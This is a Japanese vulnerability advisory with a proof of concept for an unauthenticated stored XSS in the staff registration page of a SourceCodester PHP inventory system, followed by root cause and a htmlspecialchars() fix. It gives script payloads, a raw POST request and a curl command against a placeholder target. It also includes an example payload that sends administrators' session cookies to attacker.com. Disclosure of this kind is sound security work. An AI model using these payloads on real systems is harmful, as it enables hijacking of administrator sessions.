
SourceCodester Inventory Systemの認証なし保存型XSSの概念実証。細工された登録ペイロードによる管理者セッションハイジャックを示します。
| 項目 | 詳細 |
|---|
| 脆弱性タイプ | 保存型クロスサイトスクリプティング(XSS) |
| 影響を受けるアプリケーション | PHPとMySQLを使用した在庫管理システム |
| ベンダー | SourceCodester |
| 影響を受けるバージョン | 1.0 |
| 影響を受けるファイル | register.php |
| パラメータ | fullname, username |
| 認証要件 | なし(未認証) |
| 影響 | 管理者セッションの乗っ取り、管理パネルでの悪意のあるスクリプトの実行 |
| CVSSスコア | 8.8(高) |
| CVSSベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
SourceCodester による PHPとMySQLを使用した在庫管理システム(2026年5月23日提出)は、スタッフ登録モジュール(register.php)において 未認証の保存型クロスサイトスクリプティング(XSS) に対して脆弱です。
fullname および username 入力フィールドは、データベースに保存する前にユーザー入力をサニタイズまたはエンコードしません。管理者が ユーザー管理 ページ(users.php)にアクセスすると、サニタイズされていないペイロードがHTMLコンテキストで直接レンダリングされ、管理者のブラウザセッションで即座にJavaScriptが実行されます。
登録には 認証が不要 なため、リモートの未認証攻撃者は、ユーザー管理パネルを閲覧する任意の管理者のコンテキストで実行される任意のJavaScriptを注入できます。
/product_inventory/register.php にアクセスします — ログインは不要です。fullname フィールドまたは username フィールド(あるいはその両方)に悪意のあるペイロードを送信します。/product_inventory/users.php に移動すると、ペイロードは管理者のブラウザで自動的に実行されます。http://<TARGET>/product_inventory/register.php
氏名フィールドのペイロード:
<script>alert(1)</script>
ユーザー名フィールドのペイロード:
<script>alert(2)</script>
パスワード: 任意の値(例: test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
curl相当のコマンド:
curl -X POST "http://<TARGET>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
管理者としてログインし、以下のURLに移動します:
http://<TARGET>/product_inventory/users.php
ページ読み込み時に両方のペイロードが即座に実行されます。
未認証の攻撃者は以下を行うことができます:
セッションCookie窃取の例となるペイロード(攻撃者サーバーに置き換えてください):
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>


この脆弱性は、register.php がユーザー入力をサニタイズせずにデータベースへ直接挿入し、users.php が保存された値を htmlspecialchars() によるエンコードなしで出力するために存在します。
users.php における脆弱なパターン(概略):
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];
修正 — 出力エンコーディングの適用:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
さらに、register.php では、挿入時に strip_tags() または適切な検証を伴うプリペアドステートメントを使用して入力をサニタイズする必要があります。
ENT_QUOTES を指定した htmlspecialchars() を使用してすべての出力をエンコードする。報告者: Syed Imad Uddin Alvi — 独立系セキュリティ研究者